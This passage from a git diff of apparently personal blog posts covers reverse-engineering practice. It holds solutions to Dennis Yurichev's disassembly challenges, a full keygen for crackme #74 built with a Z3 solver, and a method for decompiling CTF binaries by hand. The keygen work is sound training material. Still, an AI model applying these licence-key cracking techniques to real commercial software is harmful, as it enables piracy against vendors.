presumably the only provided by =unistd.h=, calling it +with an argument of two seconds. + +* Challenge #52 + +Another simple disassembly: + +#+BEGIN_SRC asm +$SG3103 DB '%d', 0aH, 00H + +_main PROC + push 0 + call DWORD PTR __imp___time64 + push edx + push eax + push OFFSET $SG3103 ; '%d' + call DWORD PTR __imp__printf + add esp, 16 + xor eax, eax + ret 0 +_main ENDP +#+END_SRC + +To copy straight from [[https://docs.microsoft.com/en-us/cpp/c-runtime-library/reference/time-time32-time64?view=vs-2019][MSDN]], this prints the number of "seconds elapsed since +midnight (00:00:00), January 1, 1970, Coordinated Universal Time (UTC)." + +MSDN also answers the follow-up question: "=time= is a wrapper for =_time64= and +=time_t= is, by default, equivalent to =__time64_t=. If you need to force the +compiler to interpret =time_t= as the old 32-bit =time_t=, you can define +=_USE_32BIT_TIME_T=. This is not recommended because your application may fail +after January 18, 2038; the use of this macro is not allowed on 64-bit +platforms." + +* Challenge #53 + +I thought this was an interesting challenge. "This code, compiled in Linux +x86-64 using GCC is crashing while execution (segmentation fault). It's also +crashed if compiled by MinGW for win32. However, it works in Windows environment +if compiled by MSVC 2010 x86. Why?" + +#+BEGIN_SRC c +#include +#include + +void alter_string(char *s) +{ + strcpy (s, "Goodbye!"); + printf ("Result: %s\n", s); +}; + +int main() +{ + alter_string ("Hello, world!\n"); +}; +#+END_SRC + +The code is modifying a string constant, which GCC tends to put in a read-only +memory segment (=.rodata=) in the resultant executable. Writing to a read-only +memory segment will cause a segmentation fault. I haven't tested it, but the +question statement makes me think that MSVC puts string constants in a writable +segment, so this would work just fine. + +* Challenge #54 + +No disassembly is given for this challenge. The only thing on the page is "[w]hy +isn't the x86 LOOP instruction used by modern compilers anymore?" Some searching +yields [[https://stackoverflow.com/questions/35742570/why-is-the-loop-instruction-slow-couldnt-intel-have-implemented-it-efficiently/35743699#35743699][this Stack Overflow answer]]. Basically, =loop= is from the time before x86 +became horribly complex, and so on modern processors, it's slow. + +* Challenge #56 + +I decided to skip challenge #55, as it would really just be a walkthrough of +which r2 commands I used. Challenge #56 is not particularly difficult. I went +along with the disassembly from MSVC. + +#+BEGIN_SRC c +#include + +int main(void) +{ + int n; + n = 100; + do { + printf("%d", n); + } while (n-- != 0); + return 0; +} +#+END_SRC + +The code prints the integers from 100 to 0. + +* Challenge #57 + +This is almost the same disassembly as last time. + +#+BEGIN_SRC c +#include + +int main(void) +{ + int n; + n = 1; + do { + printf("%d", n); + n += 3; + } while (n < 100); + return 0; +} +#+END_SRC + +* Challenge #58 + +This time, we're fortunate enough to be given a disassembly from GCC 4.8.1, +albeit with =-O3=. + +#+BEGIN_SRC c +int f(char *a) +{ + int count; + count = 0; + while (*a != '\0') { + if (*a++ == ' ') { + count++; + } + } + return count; +} +#+END_SRC + +=f= counts the number of spaces in a given string. As an aside, when I was first +learning to read assembly, I recall someone describing =-O3= as "unintelligible to +humans." The more reverse engineering I've done, the more I've realized that the +optimizations at that level tend to not be as absurd as people make them out to +be. I considered this to be an easy challenge. + +* Challenge #59 + +This one was /really/ easy. + +#+BEGIN_SRC asm +_a$ = 8 +_f PROC + mov ecx, DWORD PTR _a$[esp-4] + lea eax, DWORD PTR [ecx*8] + sub eax, ecx + ret 0 +_f ENDP +#+END_SRC + +The function just returns =a * 7=. I suspect the multiplication followed by +subtraction was an optimization, since multiplication by a power of two can be +implemented as a left shift. + +* Challenge #61 + +Perhaps the most difficult part of this challenge was going out my way to [[https://float.exposed/0x4014000000000000][ensure +that the constant really was 5.0]]. + +#+BEGIN_SRC c +double f(double a, double b, double c, double d, double e) +{ + return (a + b + c + d + e) / 5; +} +#+END_SRC + +=f= simply averages five numbers. + +* Challenge #62 + +The challenge notes that the compiler was optimizing for space, which may +explain the pointless nested loop. + +#+BEGIN_SRC c +void f(float *a, float *b, float *c) +{ + int i; + int j; + + long coffee; + long cake; + + coffee = a - b; + cake = c - b; + + for (i = 200; i > 0; i--) { + for (j = 100; j > 0; j--) { + b[cake] = b[0] + b[coffee]; + b += 8; + } + } +} +#+END_SRC + +=f= adds 20000 elements from =a= and =b=, storing their sums in =c=. + +* Challenge #64 + +I was swamped with preparing for finals this weekend, so I decided to skip +challenge #63 in favor of something less arduous. The question for this one is, +"[a]n array of array[x][y] form is accessed here. Try to determine the +dimensions of the array, at least partially, by finding y." + +#+BEGIN_SRC c +double f(double *array, int x, int y) +{ + return array[y + x * 15]; +} +#+END_SRC + +The array has some number of rows each containing 15 elements. + +* Challenge #65 + +The question here is the same as the previous challenge. + +#+BEGIN_SRC c +int f(int *array, int x, int y, int z) +{ + return array[z + 5 * 16 * (y + 4 * 15 * x)]; +} +#+END_SRC + +Assuming an array of integers, the dimensions of the array are 15 x 20 x ... + +* Challenge #74 + +I skipped way ahead this time because I was done with finals and knew that this +was the last of the challenges I'd be doing this year. So I looked through what +remained in search of something difficult, but interesting, and settled on this +one. + +We're given a binary, + +#+BEGIN_SRC prog +jakob@Epsilon ~ $ sha256sum challenge74 +6d2ac11d1e6200d6a2cca988189764b6acdb7811d24619e8e66f1796c8c27394 challenge74 +jakob@Epsilon ~ $ file challenge74 +challenge74: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=7fa3bd4aa738bced5aaccb161090818646e07704, stripped +#+END_SRC + +as well as a few valid keys. + +#+BEGIN_SRC prog +2Z7A7-EK270-TMHR4-BHC71-CEB52-HELL0-HELL0-EONP9 +2Z7A7-6I7R9-MZGO9-FDQJ3-JN0Q6-HELL0-HELL0-72KJ9 +#+END_SRC + +I took this as an opportunity to try out the [[https://github.com/radareorg/r2ghidra-dec][r2ghidra-dec]] plugin for Radare. +Let's see how it does. + +#+BEGIN_SRC c +// WARNING: Could not reconcile some variable overlaps +// WARNING: [r2ghidra] Detected overlap for variable var_20h// WARNING: [r2ghidra] Failed to match type signed int64_t for variable var_10h to Decompiler type: Unknown type +// identifier signed +// WARNING: [r2ghidra] Detected overlap for variable var_ch +// WARNING: [r2ghidra] Failed to match type signed int64_t for variable var_8h to Decompiler type: Unknown type +// identifier signed +// WARNING: [r2ghidra] Detected overlap for variable var_8h +// WARNING: [r2ghidra] Failed to match type signed int for variable var_4h to Decompiler type: Unknown type identifier +// signed +// WARNING: [r2ghidra] Detected overlap for variable var_4h +// WARNING: [r2ghidra] Detected overlap for variable var_bh + +undefined8 main(uint32_t argc, char **argv) +{ + int64_t iVar1; + char cVar2; + int32_t iVar3; + int64_t in_FS_OFFSET; + int64_t var_30h; + int64_t var_24h; + int64_t var_8h; + + iVar1 = *(int64_t *)(in_FS_OFFSET + 0x28); + var_24h._0_4_ = argc; + sym.imp.puts("Crackme/keygenme by Dennis Yurichev, http://challenges.re/74"); + sym.imp.putchar(10); + if ((uint32_t)var_24h == 1) { + sym.imp.puts("Command line: "); + // WARNING: Subroutine does not return + sym.imp.exit(0); + } + iVar3 = sym.imp.memcmp(argv[1] + 0x1e, "HELL0-HELL0", 0xb); + if (iVar3 != 0) { + sym.imp.puts("SN format is incorrect"); + // WARNING: Subroutine does not return + sym.imp.exit(0); + } + iVar3 = fcn.00400bb5((int64_t)argv[1], (int64_t)&var_24h + 4); + if (iVar3 == -1) { + sym.imp.puts("SN format is incorrect"); + // WARNING: Subroutine does not return + sym.imp.exit(0); + } + cVar2 = fcn.0040085e((void *)((int64_t)&var_24h + 4)); + if (cVar2 == '\0') { + sym.imp.puts("SN is not valid"); + } else { + sym.imp.puts("SN valid"); + } + if (iVar1 != *(int64_t *)(in_FS_OFFSET + 0x28)) { + // WARNING: Subroutine does not return + sym.imp.__stack_chk_fail(); + } + return 0; +} +#+END_SRC + +When I saw this, I was blown away. Damn. The NSA did a great job with this. +Here's my cleaned up version. + +#+BEGIN_SRC c +#include + +int main(int argc, char **argv) +{ + char buf[24]; + + printf("Crackme/keygenme by Dennis Yurichev, http://challenges.re/74\n\n"); + + if (argc == 1) { + puts("Command line: "); + exit(0); + } + + if (memcmp(argv[1] + 0x1e, "HELL0-HELL0", 0xb)) { + puts("SN format is incorrect"); + exit(0); + } + + if (fcn_00400bb5(argv[1], buf) == -1) { + puts("SN format is incorrect"); + exit(0); + } + + if (fcn_0040085e(buf) == '\0') { + puts("SN is not valid"); + } else { + puts("SN valid"); + } + + return 0; +} +#+END_SRC + +Aside from getting rid of temporary variables, I removed =iVar1= as it's no more +than a stack canary, and I fixed up a few "errors" that the decompiler made. As +an example, notice that strange assignment to =var_24h._0_4_=? Let's see what the +disassembly says. + +#+BEGIN_SRC asm + pushq %rbp + movq %rsp, %rbp + subq $0x30, %rsp + movl %edi, var_24h ; argc + movq %rsi, var_30h ; argv +#+END_SRC + +This is the only write to =var_24h=, so the line should have been =var_24h = argv=. +For some reason, the decompiler saw this as assignment to a =struct= field. I +ended up removing it anyway. Using 'argc' is clearer. + +There's also that odd =(void *)((int64_t)&var_24h + 4)=, but if we look at the +disassembly, + +#+BEGIN_SRC asm + leaq var_20h, %rdx + movq %rdx, %rsi + movq %rax, %rdi + callq fcn.00400bb5 + ... + leaq var_20h, %rax + movq %rax, %rdi + callq fcn.0040085e +#+END_SRC + +So that should've just been =var_20h= in the decompilation. Regardless, I'm +impressed. And I have to say, as a plugin, r2ghidra is really good. =pdg= takes a +few seconds, but if you rename some variables with =afvn= and run it again, it +spits out the updated version instantly, which makes me think that it's probably +doing some sort of caching and quick substitution. + +Anyway, back to the challenge. We can tell from the decompilation already that +the sixth and seventh components must be "HELL0-HELL0". It also has to contain +eight components, delimited by '-', as we can see from =fcn_00400bb5=: + +#+BEGIN_SRC c +var_10h._0_4_ = 0; +while ((int32_t)var_10h < 7) { + if (*(char *)(arg1 + (int64_t)((int32_t)var_10h * 6) + 5) != '-') { + return 0xffffffff; + } + var_10h._0_4_ = (int32_t)var_10h + 1; +} +#+END_SRC + +Here's the gist of the key verification algorithm: + +- =fcn_00400bb5= parses the key into a buffer (I renamed this to =parse_key=) + - Calls out to a =charcode= function which maps numerals to their numeric values + ('0' becomes 0) and letters 'A' through 'Z' to 10-35. + - The buffer is written with 3 bytes per component. I thought this was a + decompiler mistake at first, but I checked the disassembly and it really is + 3 bytes per component. 24 bytes total. +- =fcn_0040085e= does further verification and enables features based on the + parsed key (I renamed this to =enable_features=). + - The resultant parsed buffer needs to start with 0xdeadbabe. + - The 4th and 5th bytes give a numerical year, the 6th a numerical month, and + the 7th a numerical day. + - There's a sanity checks to ensure that the day is between 1 and 31, that + the month is between 1 and 12, and that the year is between 2016 and 2101. + - The 7th bit of byte 8 enables feature A + - The 1st bit of byte 9 enables feature B + - The 2nd bit of byte 10 enables feature C + - The 4th bit of byte 11 enables feature D + - The 1st bit of byte 12 enables feature E + - There's one final check of the last 8 bytes against a =checksum= function. + +#+BEGIN_SRC c +#include + +uint64_t checksum(int64_t init, char *parsed, int64_t length) +{ + uint64_t ret; + char *cur; + int i; + int j; + + cur = parsed; + ret = ~init; + i = length; + + while (i != 0) { + ret = ret ^ (uint64_t) *cur; + j = 0; + while (i--, cur++, j < 8) { + if ((ret & 1) == 0) { + ret = ret >> 1; + } else { + ret = ret >> 1 ^ 0x42f0e1eb0badbad0; + } + j++; + } + } + + return ~ret; +} +#+END_SRC + +I actually didn't realize that last part until I'd already hacked together a +quick key verifier. + +#+BEGIN_SRC common-lisp +(use-package :cl-utilities) + +(defun charcode (c) + (let ((value (char-code c))) + (cond ((<= (char-code #\0) value (char-code #\9)) (- value #x30)) + ((<= (char-code #\A) value (char-code #\Z)) (- value #x37))))) + +(defun hash-component (component) + (let* ((characters (coerce component 'list)) + (values (mapcar #'charcode characters))) + (unless (or (/= 5 (length values)) (find nil values)) + (+ (* #x000001 (nth 0 values)) + (* #x000024 (nth 1 values)) + (* #x000510 (nth 2 values)) + (* #x00b640 (nth 3 values)) + (* #x19a100 (nth 4 values)))))) + +(defun parse-key (key) + (reduce #'append + (mapcar #'(lambda (component) + (let ((hash (hash-component component))) + (list (logand hash #xff) + (logand (ash hash -8) #xff) + (logand (ash hash -16) #xff)))) + (split-sequence #\- key)))) + +(defun key-valid-p (key) + ;; Must begin with 0xdeadbabe, and have HELL0 for components 6 and 7. + (and (equal (subseq key 0 4) '(222 173 186 190)) + (equal (subseq key 15 21) '(153 95 15 153 95 15)))) + +(defun key-attributes (key) + (let ((parsed (parse-key key))) + (list :valid (key-valid-p parsed) + :expiry-year (logior (ash (nth 4 parsed) 8) + (nth 5 parsed)) + :expiry-month (nth 6 parsed) + :expiry-day (nth 7 parsed) + :feature-a (plusp (logand (nth 8 parsed) (ash 1 6))) + :feature-b (plusp (logand (nth 9 parsed) (ash 1 0))) + :feature-c (plusp (logand (nth 10 parsed) (ash 1 1))) + :feature-d (plusp (logand (nth 11 parsed) (ash 1 2))) + :feature-e (plusp (logand (nth 12 parsed) (ash 1 0)))))) + +(key-attributes "2Z7A7-EK270-TMHR4-BHC71-CEB52-HELL0-HELL0-EONP9") +;; (:VALID T :EXPIRY-YEAR 2053 :EXPIRY-MONTH 5 :EXPIRY-DAY 22 :FEATURE-A T +;; :FEATURE-B T :FEATURE-C T :FEATURE-D T :FEATURE-E NIL) + +(key-attributes "2Z7A7-6I7R9-MZGO9-FDQJ3-JN0Q6-HELL0-HELL0-72KJ9") +;; (:VALID T :EXPIRY-YEAR 2042 :EXPIRY-MONTH 2 :EXPIRY-DAY 21 :FEATURE-A T +;; :FEATURE-B T :FEATURE-C T :FEATURE-D T :FEATURE-E T) +#+END_SRC + +We can verify our results. + +#+BEGIN_SRC prog +jakob@Epsilon ~ $ ./challenge74 "2Z7A7-EK270-TMHR4-BHC71-CEB52-HELL0-HELL0-EONP9" +Crackme/keygenme by Dennis Yurichev, http://challenges.re/74 + +Expiration date: 2053-05-22 +Feature A: ON +Feature B: ON +Feature C: ON +Feature D: ON +Feature E: OFF +SN valid +jakob@Epsilon ~ $ ./challenge74 "2Z7A7-6I7R9-MZGO9-FDQJ3-JN0Q6-HELL0-HELL0-72KJ9" +Crackme/keygenme by Dennis Yurichev, http://challenges.re/74 + +Expiration date: 2042-02-21 +Feature A: ON +Feature B: ON +Feature C: ON +Feature D: ON +Feature E: ON +SN valid +#+END_SRC + +But, as I mentioned, I'd missed the checksum, so we'll need to deal with that in +developing a keygen. What makes this so difficult is that the bytes of the +checksum are incorporated in the checksum value. So, I thought this might be an +opportunity to add something else to my toolbox: the [[https://en.wikipedia.org/wiki/Z3_Theorem_Prover][Z3 Theorem Prover]]. + +I'd never used it before, but it seems to show up in CTF writeups quite +frequently. I did a bit of reading ([[https://jomo.tv/security/mrmcd-ctf-writeup-flag-checker][this]], [[https://ericpony.github.io/z3py-tutorial/guide-examples.htm][this]] and [[https://stackoverflow.com/questions/53726998/using-z3-where-constraint-depends-on-output-of-function][this]]) and put together this: + +#+BEGIN_SRC python +from z3 import * + +s = Solver() + +def checksum(init, key): + result = BitVecVal(~init, 64) + + for byte in key: + result ^= ZeroExt(56, byte) + for i in range(8): + result = (result >> 1 & 0x7fffffffffffffff) ^ (0x42f0e1eb0badbad0 * (result & 1)) + + result = ~result + + return result + +def unpack(word): + result = BitVecVal(0, 64) + result |= ZeroExt(56, word[0]) + result |= ZeroExt(56, word[1]) << 8 + result |= ZeroExt(56, word[2]) << 16 + result |= ZeroExt(56, word[3]) << 24 + result |= ZeroExt(56, word[4]) << 32 + result |= ZeroExt(56, word[5]) << 40 + result |= ZeroExt(56, word[6]) << 48 + result |= ZeroExt(56, word[7]) << 56 + return result + +key = [BitVec("bv{}".format(i), 8) for i in range(24)] + +FEATURE_A = False +FEATURE_B = False +FEATURE_C = False +FEATURE_D = False +FEATURE_E = False + +s.add(key[0] == 222) +s.add(key[1] == 173) +s.add(key[2] == 186) +s.add(key[3] == 190) +s.add(key[4] == ((2019 & 0xff00) >> 8)) +s.add(key[5] == 2019 & 0x00ff) +s.add(key[6] == 12) +s.add(key[7] == 25) +s.add(key[8] & 0b100000 == (1 if FEATURE_A else 0)) +s.add(key[9] & 0b000001 == (1 if FEATURE_B else 0)) +s.add(key[10] & 0b000010 == (1 if FEATURE_C else 0)) +s.add(key[11] & 0b001000 == (1 if FEATURE_D else 0)) +s.add(key[12] & 0b000001 == (1 if FEATURE_E else 0)) +s.add(key[15] == 153) +s.add(key[16] == 95) +s.add(key[17] == 15) +s.add(key[18] == 153) +s.add(key[19] == 95) +s.add(key[20] == 15) + +s.add(unpack(key[16:]) == checksum(0, key)) + +s.check() +print(s.model()) +#+END_SRC + +Accurately translating the checksum function was a pain in the tuckus. The right +shift was giving me a hard time since the Z3 right shift doesn't prepend with +zeroes. The =& 0x7fffffffffffffff= is my attempt at dealing with that. + +As an aside, I just want to say that GDB's =call= functionality is godsend. It +made verifying my translation so much easier. + +#+BEGIN_SRC prog +(gdb) p (unsigned long long) $checksum(0, &{'\xff', '\xff', '\xff'}, 3) +$14 = 18446742974197923840 +#+END_SRC + +So, I let this run overnight, which brought me back to when I was more active +with CTF and would let my half-complete solutions run while I slept. + +#+BEGIN_SRC prog +jakob@Epsilon ~ $ python solver.py +[bv22 = 196, + bv13 = 18, + bv21 = 216, + bv23 = 130, + bv14 = 209, + bv8 = 130, + bv10 = 108, + bv9 = 170, + bv11 = 208, + bv12 = 240, + bv20 = 15, + bv19 = 95, + bv18 = 153, + bv17 = 15, + bv16 = 95, + bv15 = 153, + bv7 = 24, + bv6 = 12, + bv5 = 227, + bv4 = 0, + bv3 = 190, + bv2 = 186, + bv1 = 173, + bv0 = 222] +#+END_SRC + +This was waiting for me when I got back from the gym the next morning. + +#+BEGIN_SRC common-lisp +(string-join + (mapcar #'ahash-component-inverse + (mapcar #'triplet-to-number '((222 173 186) + (190 0 27) + (12 24 13) + (170 108 208) + (240 18 20) + (153 95 15) + (153 95 15) + (216 196 130)))) + "-") +#+END_SRC + +#+BEGIN_SRC prog +CL-USER> (string-join + (mapcar #'ahash-component-inverse + (mapcar #'triplet-to-number '((222 173 186) + (190 0 27) + (12 24 13) + (170 108 208) + (240 18 20) + (153 95 15) + (153 95 15) + (216 196 130)))) + "-") +"2Z7A7-AHX11-S4EI0-6LR48-K37S0-HELL0-HELL0-KPO35" +CL-USER> (key-attributes "2Z7A7-AHX11-S4EI0-6LR48-K37S0-HELL0-HELL0-KPO35") +(:VALID NIL :EXPIRY-YEAR 27 :EXPIRY-MONTH 12 :EXPIRY-DAY 24 :FEATURE-A NIL + :FEATURE-B NIL :FEATURE-C NIL :FEATURE-D NIL :FEATURE-E NIL) +#+END_SRC + +Oh no... + +#+BEGIN_SRC python +... +s.add(key[4] == 2019 & 0xff00) +... +#+END_SRC + +That should've been =s.add(key[4] == ((2019 & 0xff00) >> 8))=... + +;-; + +Let's try this again. + +#+BEGIN_SRC prog +jakob@Epsilon ~ $ python solver.py +[bv22 = 80, + bv13 = 39, + bv21 = 204, + bv23 = 133, + bv14 = 124, + bv8 = 140, + bv10 = 12, + bv9 = 168, + bv11 = 183, + bv12 = 184, + bv20 = 15, + bv19 = 95, + bv18 = 153, + bv17 = 15, + bv16 = 95, + bv15 = 153, + bv7 = 25, + bv6 = 12, + bv5 = 227, + bv4 = 7, + bv3 = 190, + bv2 = 186, + bv1 = 173, + bv0 = 222] +#+END_SRC + +This time it actually ran for a whole two days. + +#+BEGIN_SRC prog +CL-USER> (mapcar #'hash-component-inverse + (mapcar #'triplet-to-number + '((222 173 186) + (190 7 227) + (12 25 140) + (168 12 183) + (184 39 124) + (153 95 15) + (153 95 15) + (204 80 133)))) +("2Z7A7" "YFWU8" "CGSG5" "CF457" "K9EU4" "HELL0" "HELL0" "OH975") +CL-USER> (key-attributes "2Z7A7-YFWU8-CGSG5-CF457-K9EU4-HELL0-HELL0-OH975") +(:VALID T :EXPIRY-YEAR 2019 :EXPIRY-MONTH 12 :EXPIRY-DAY 25 :FEATURE-A NIL + :FEATURE-B NIL :FEATURE-C NIL :FEATURE-D NIL :FEATURE-E NIL) +#+END_SRC + +#+BEGIN_SRC prog +jakob@Epsilon ~ $ ./challenge74 "2Z7A7-YFWU8-CGSG5-CF457-K9EU4-HELL0-HELL0-OH975" +Crackme/keygenme by Dennis Yurichev, http://challenges.re/74 + +Expiration date: 2019-12-25 +Feature A: OFF +Feature B: OFF +Feature C: OFF +Feature D: OFF +Feature E: OFF +SN valid +#+END_SRC + +There we go. A working keygen! (Provided you're willing to wait). + +* An End-of-Year Reflection + +This was fun, but I think in planning this out, I should have preferred depth +over breadth, like getting through some of the challenges on [[http://reversing.kr/index.php][reversing.kr]]. The +challenges I got the most out of were the ones I had to spend more than a day +reversing. Another thing that made regret the choice of Dennis Yurichev's +challenges is the significance of context in reverse engineering. Most of these +challenges give little more than a disassembly. There are exceptions -- +challenge #33, for example, was one I was able to solve because the description +said that it was a cryptographic function. But for the most part, I think being +able to see the "big picture" would have been a more realistic way to practice +my reverse engineering chops. + +One idea I've been toying with is putting out a crackme on a monthly basis. +Infrequent enough that it wouldn't be overwhelming, and I'd be able to make it a +sizeable challenge. I'd be able to give out hints every week, and post the +solution at the end of the month. Actually, I may do this through the [[https://ctf.cs.umass.edu/][wargames]] +site we're putting together at university. Stay tuned! diff --git a/haunt/posts/decompilation-by-hand.org b/haunt/posts/decompilation-by-hand.org new file mode 100644 index 0000000..9c3a51f --- /dev/null +++ b/haunt/posts/decompilation-by-hand.org @@ -0,0 +1,193 @@ +#+TITLE: Reverse Engineering By Hand +#+DATE: <2018-03-01 Thu 19:00> +#+TAGS: tutorial reverse-engineering x86 c linux + +My capture-the-flag team played in the Insomni'hack teaser this year. During the +competition, I worked on a single challenge titled "sapeloshop." It was labeled +as "Medium-Hard," and it was in the binary exploitation category. The source +code for the server wasn't provided, so reverse engineering was necessary. I +don't think that having to reverse the binary was supposed to be the hard part, +as most of the behavior could have been inferred through some high-level +analysis, yet I spent nearly five hours fruitlessly trying to reverse it, and +the subsequent burnout was bad enough that I went home early. This wasn't the +first time a reversing task had gotten the best of me; there had been a few +competitions last year where I felt a similar loss in motivation. Noticing this +recurring pattern frustrated me, and that frustration drove me to think about +ways to improve myself as a reverse engineer. + +My initial idea was to work on expanding my skill set, but with some further +reflection, I came to the realization that the weakness was my process. I was +going at the task of reverse engineering without a plan: beginning by opening +the binary in radare, propagating from the entrypoint, and renaming a few +variables as I went along. I was trying to make sense of the program by +passively reading the disassembly listing. This /might/ work for someone who +lives and breathes assembly, but that certainly doesn't apply to me. What I +needed was a way to engage with the binary at hand beyond trying to passively +absorb it. + +With that, my first step was to come up with a more formally-defined idea of +what's involved in "reverse engineering." I still don't think I have anything +close to a complete description, but pondering on how reverse engineering tools +are designed certainly helped to solidify my existing understanding. Namely, I +was reminded of software suites advertised as "decompilers." They serve as a +stepping stone in an *iterative* process of turning machine code into something +that would be easier for a human to understand. They give an obviously +machine-generated C/C++ representation of the machine code, and the reverse +engineer continues by filling in the blanks with semantics. + +Now, I have a few issues with the idea of automated decompilation. For one, the +tooling simply isn't accessible. The only working decompiler I've used, IDA Pro, +is ridiculously expensive. Also, when I say, "working," I mean that it doesn't +segfault upon opening the binary. Even IDA Pro doesn't work perfectly in every +situation - especially those in which the binary has been intentionally +obfuscated. Because of this, there are arguments against the use of decompilers: +notably, [[https://blog.ret2.io/2017/11/16/dangers-of-the-decompiler/][this article]]. + +But the goal wasn't to have a program to do the work for us anyway, it was to +come up with a more effective methodology for reverse engineering a binary. +Unlike software, human reversers can adapt to the situation at hand - they don't +need rules defined in the same way that a computer would. As such, I've come up +with a protocol in a similar vein to [[https://en.wikipedia.org/wiki/SQ3R][SQ3R]] for reverse engineering machine code +to higher-level constructs. The protocol is still in its infancy, and I have +hopes to expand upon it in the future, but I have found it to still be quite +useful in its current state. + +I'd consider subroutines to be the fundamental atoms of a binary, and that's +what this protocol focuses on. However, being able to understand the subroutines +that compose a program doesn't necessarily imply an understanding of the whole +program. These are things that I hope to incorporate into the protocol in the +future, but for now, they are given as a handful of necessary precursors. + +For one, you should get a high-level understanding of what the program does. I +would recommend initially treating it as a black box: What does this program do? +Is it a web server? A crypto algorithm? I find that it's useful to copy down any +text that the program outputs, as you can use the string references later on +when you look at the machine code. You should also test plenty of inputs. What +does the program do for typical edge cases? What error handling does it do? This +might all seem extremely mundane, but if you understand the program at this +level, it gives you things to recognize in the disassembly listing. This is +absolutely essential when it comes to something more complicated than the toy +programs you might see in a capture-the-flag. I've been working a lot with the +Team Fortress 2 binaries recently, and understanding how and where certain +string references are used has given me a way to find just the functionality I'm +interested in, as opposed to trying to understand the entire 33 MB shared +object. + +That brings me to another point: you might not even need to reverse all of the +subroutines in the binary. In a binary exploitation challenge, it might make +sense to audit the seemingly mundane input-handling functions, but if you can +tell from the usage alone that all a subroutine does is print something, it +probably isn't worth your time to disassemble it. Remember, you can always come +back to something later, but if you waste your time on it, those are valuable +competition minutes that you'll never get back. + +Finally, this is more general, and it's something that I think every reverse +engineer knows, but it's worth mentioning regardless. If you don't know the ISA, +the architecture's calling conventions, or the quirks of the language design and +the compiler, it might be in your best interest to create a "lexicon" of +high-level constructs and how they're represented in assembly. There's +absolutely no shame in doing this, and it's been especially helpful for me when +I've looked at any binaries that were compiled with MSVC. One tool that I've +found useful for creating these lexicons is the [[https://godbolt.org/][Godbolt Compiler Explorer]]. + +Hopefully that wasn't too long of an introduction. Now we can get into the +protocol itself. It's composed of five steps and make up a mnemonic: "SCARS." +The first step is to "skim," or "scan." The premise is to first get an idea +which memory addresses the subroutine spans, or how long it is. I usually look +for the typical "function epilogue," which might include a stack canary check, +or it might just be a =pop %rbp; ret.= Then, get context. See where the +subroutine is called and how it's called - figure out if there are any arguments +to the subroutine, and see if it returns anything. Finally, look over the +disassembly listing for the routine, paying attention to the use of stack +variables and global variables. Do any of those variables look like they might +be classes/structures? + +The second step is to "chunk." The first step should have given you a rough idea +of the control flow, but now you need to break the subroutine into smaller sets +of instructions that you can analyze. I usually separate based on whether or not +a set of instructions are skipped by a conditional jump. + +The third step is "arrange." Simply put, this involves taking your findings +about stack variables and such from the first step, and converting them to +declarations in the high-level language. I also like to make stubs for any other +subroutines that are called, since I'll probably be reversing those later +anyway. This third step also ties in with the fourth step, which is to +"recognize." This involves looking back on your lexicon of patterns, and +converting them to the high-level constructs that they represent. These two +steps are done simultaneously and are basically where you try to manually +decompile the chunks of machine code you plotted out in the previous step. + +The final step is to "simplify," which entails simplifying the resultant code +into something perhaps more understandable. For example, =1 << 4= is equivalent +to =1 * 2^4=, or just =4=. This also might be where you replace magic numbers +with constants. Whenever I see 0 passed to =read(3)=, I replace that with +=STDIN_FILENO=. + +I spent a little under twenty minutes last night reversing the binary from the +challenge I mentioned at the beginning of this post. That's not a lot of time +compared to how much I spent during the competition, and I got surprisingly far +(almost all of main!) If this were the competition, however, I would have done +it differently. Instead of starting at main, I would have probably started at +one of the functions for handling input and went backwards by checking for +XREF's. I only did it this way to test out the protocol for something I had +difficulty with in the past. Here are a few of the highlights. If you want to +look on with me, all of the files for the challenge can be found [[https://github.com/DhavalKapil/ctf-writeups/tree/master/insomni-hack-18/sapeloshop][here]]. + +The most useful part about rewriting the program in C is the malleability of +text. When I was obtusely reading disassembly listings, keeping track of how +values were being juggled across registers was difficult for me. But by +representing these instructions in C, I can convert a few of them into an +expression, comment which register they're in, and come back to use that +expression later. This is more useful when the juggling spans a large number of +instructions, but here's a smaller example where I still used it. The +disassembly at =0x1e15= is + +#+BEGIN_SRC asm +0x00001e15 488d8550b7ff. leaq -0x48b0(%rbp), %rax +0x00001e1c 488d90080400. leaq 0x408(%rax), %rdx +0x00001e23 488b8540b7ff. movq -0x48c0(%rbp), %rax +0x00001e2a 488d35bf0800. leaq str.User_Agent:__128, %rsi ; 0x26f0 ; "User-Agent: %128[^\r\n]\r\n" +0x00001e31 4889c7 movq %rax, %rdi +0x00001e34 b800000000 movl $0, %eax +#+END_SRC + +I had previously made a variable for =-0x48b0(%rbp)= during my "arrange" step, +temporarily named =local_48b0= until I figured out its usage and a better name +for it. Just from these six instructions, I can tell that it's a buffer of some +sort, so I started off with: + +#+BEGIN_SRC c +((void *) local_48b0); // rax +#+END_SRC + +Then, I handled the pointer arithmetic in the second instruction, and the third +instruction, since it replaced the value in =%rax=: + +#+BEGIN_SRC c +(void *) (((char *) (local_48b0)) + 0x408); // rdx +*((uint64_t *) local_48b0); // rax +#+END_SRC + +Ew. It's starting to look like some system programmer's personal Lisp dialect +now. Don't worry. It's gross now, but as you understand more of the subroutine, +you'll be able to declare variables in such a way that you won't need casts like +these. That's where the "simplify" step comes into play. + +Also, I should mention that you don't necessarily have to reverse the chunks you +came up with in a linear fashion. I saw a chunk with two calls to some +=__errno_location=, which I didn't want to deal with at the time, so I just went +on to the next chunk. Again, you can come back to stuff later, but this does +mean you need to keep track of which chunks you've covered. + +One thing I've done in the past with this protocol is to keep a little ASCII +drawing of the stack layout. It doesn't make a whole lot of sense here, since +there aren't any pushes or pops that would change the size of the stack frame, +but maybe you'll find it useful for 32-bit binaries. + +Oh, and one last thing. Not everything is worth adding into your decompilation. +For example, if I saw a timer being set up with =alarm(3)=, I would probably +ignore it. In fact, I'd patch it out, but that's a topic for another day. + +Any questions about things I mentioned in this post, or suggestions on how to +make it better? Both would be greatly appreciated. Contact info is on my +[[http://jakob.space][homepage]]. diff --git a/haunt/posts/dollar-bin-reverse-engineering.org b/haunt/posts/dollar-bin-reverse-engineering.org new file mode 100644 index 0000000..dbf7ee7 --- /dev/null +++ b/haunt/posts/dollar-bin-reverse-engineering.org @@ -0,0 +1,751 @@ +#+TITLE: Dollar Bin Reverse Engineering +#+DATE: <2021-12-24 Fri 09:42> +#+TAGS: writeup hardware reverse-engineering tc32 radare2 java + +The background for this project is a lesson in avoiding dishonest vendors. Two +years ago, I was looking to purchase a smart watch 